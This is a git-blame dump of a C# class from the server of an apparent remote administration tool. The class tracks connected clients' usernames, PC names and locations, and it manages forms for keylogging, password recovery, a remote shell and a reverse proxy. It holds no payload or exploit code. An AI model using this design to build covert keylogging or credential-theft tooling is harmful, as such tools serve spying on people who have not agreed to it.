2015-07-25 15:10:59 -07:00
|
|
|
|
using System;
|
2015-07-10 07:36:34 -07:00
|
|
|
|
using System.Windows.Forms;
|
2015-05-10 04:11:27 -07:00
|
|
|
|
using xServer.Core.ReverseProxy;
|
2015-07-25 15:10:59 -07:00
|
|
|
|
using xServer.Core.Utilities;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
using xServer.Forms;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-06-05 14:07:37 -07:00
|
|
|
|
namespace xServer.Core.Networking
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-07-25 15:10:59 -07:00
|
|
|
|
public class UserState : IDisposable
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
|
|
|
|
public string Version { get; set; }
|
|
|
|
|
public string OperatingSystem { get; set; }
|
|
|
|
|
public string AccountType { get; set; }
|
2015-08-27 08:14:21 -07:00
|
|
|
|
public int ImageIndex { get; set; }
|
2014-07-08 05:58:53 -07:00
|
|
|
|
public string Country { get; set; }
|
|
|
|
|
public string CountryCode { get; set; }
|
|
|
|
|
public string Region { get; set; }
|
|
|
|
|
public string City { get; set; }
|
2015-03-20 06:45:58 -07:00
|
|
|
|
public string Id { get; set; }
|
2015-05-31 10:22:00 -07:00
|
|
|
|
public string Username { get; set; }
|
|
|
|
|
public string PCName { get; set; }
|
2015-08-27 08:14:21 -07:00
|
|
|
|
public string UserAtPc { get { return string.Format("{0}@{1}", Username, PCName); } }
|
|
|
|
|
public string CountryWithCode { get { return string.Format("{0} [{1}]", Country, CountryCode); } }
|
2015-08-03 08:33:50 -07:00
|
|
|
|
public string Tag { get; set; }
|
2015-06-01 02:44:48 -07:00
|
|
|
|
public string DownloadDirectory { get; set; }
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-27 14:47:13 -08:00
|
|
|
|
public FrmRemoteDesktop FrmRdp { get; set; }
|
|
|
|
|
public FrmTaskManager FrmTm { get; set; }
|
|
|
|
|
public FrmFileManager FrmFm { get; set; }
|
|
|
|
|
public FrmSystemInformation FrmSi { get; set; }
|
|
|
|
|
public FrmRemoteShell FrmRs { get; set; }
|
2015-02-24 03:13:04 -08:00
|
|
|
|
public FrmStartupManager FrmStm { get; set; }
|
2015-04-22 12:39:52 -07:00
|
|
|
|
public FrmKeylogger FrmKl { get; set; }
|
2015-05-10 04:11:27 -07:00
|
|
|
|
public FrmReverseProxy FrmProxy { get; set; }
|
2015-08-02 11:04:58 -07:00
|
|
|
|
public FrmPasswordRecovery FrmPass { get; set; }
|
2015-08-27 08:14:21 -07:00
|
|
|
|
|
2015-08-07 10:08:16 -07:00
|
|
|
|
public bool ReceivedLastDirectory { get; set; }
|
2015-03-31 11:38:16 -07:00
|
|
|
|
public UnsafeStreamCodec StreamCodec { get; set; }
|
2015-05-10 04:11:27 -07:00
|
|
|
|
public ReverseProxyServer ProxyServer { get; set; }
|
|
|
|
|
|
2015-08-07 10:08:16 -07:00
|
|
|
|
public bool ProcessingDirectory
|
|
|
|
|
{
|
|
|
|
|
get
|
|
|
|
|
{
|
|
|
|
|
lock (_processingDirectoryLock)
|
|
|
|
|
{
|
|
|
|
|
return _processingDirectory;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
set
|
|
|
|
|
{
|
|
|
|
|
lock (_processingDirectoryLock)
|
|
|
|
|
{
|
|
|
|
|
_processingDirectory = value;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
private bool _processingDirectory;
|
|
|
|
|
private readonly object _processingDirectoryLock;
|
|
|
|
|
|
2014-07-08 05:58:53 -07:00
|
|
|
|
public UserState()
|
|
|
|
|
{
|
2015-08-07 10:08:16 -07:00
|
|
|
|
ReceivedLastDirectory = true;
|
|
|
|
|
_processingDirectory = false;
|
|
|
|
|
_processingDirectoryLock = new object();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
2015-04-04 14:48:47 -07:00
|
|
|
|
|
2015-07-25 15:10:59 -07:00
|
|
|
|
public void Dispose()
|
2015-04-04 14:48:47 -07:00
|
|
|
|
{
|
2015-07-25 15:10:59 -07:00
|
|
|
|
Dispose(true);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
protected virtual void Dispose(bool disposing)
|
|
|
|
|
{
|
|
|
|
|
if (disposing)
|
|
|
|
|
{
|
2015-07-25 15:24:38 -07:00
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
if (FrmRdp != null)
|
|
|
|
|
FrmRdp.Invoke((MethodInvoker)delegate { FrmRdp.Close(); });
|
|
|
|
|
if (FrmTm != null)
|
|
|
|
|
FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); });
|
|
|
|
|
if (FrmFm != null)
|
|
|
|
|
FrmFm.Invoke((MethodInvoker)delegate { FrmFm.Close(); });
|
|
|
|
|
if (FrmSi != null)
|
|
|
|
|
FrmSi.Invoke((MethodInvoker)delegate { FrmSi.Close(); });
|
|
|
|
|
if (FrmRs != null)
|
|
|
|
|
FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); });
|
|
|
|
|
if (FrmStm != null)
|
|
|
|
|
FrmStm.Invoke((MethodInvoker)delegate { FrmStm.Close(); });
|
|
|
|
|
if (FrmKl != null)
|
|
|
|
|
FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); });
|
|
|
|
|
if (FrmProxy != null)
|
|
|
|
|
FrmProxy.Invoke((MethodInvoker)delegate { FrmProxy.Close(); });
|
2015-08-02 11:04:58 -07:00
|
|
|
|
if (FrmPass != null)
|
|
|
|
|
FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); });
|
2015-07-25 15:24:38 -07:00
|
|
|
|
}
|
|
|
|
|
catch (InvalidOperationException)
|
|
|
|
|
{
|
|
|
|
|
}
|
2015-08-08 05:34:10 -07:00
|
|
|
|
|
|
|
|
|
if (StreamCodec != null)
|
|
|
|
|
StreamCodec.Dispose();
|
2015-07-25 15:10:59 -07:00
|
|
|
|
}
|
2015-04-04 14:48:47 -07:00
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
2015-04-21 11:27:52 -07:00
|
|
|
|
}
|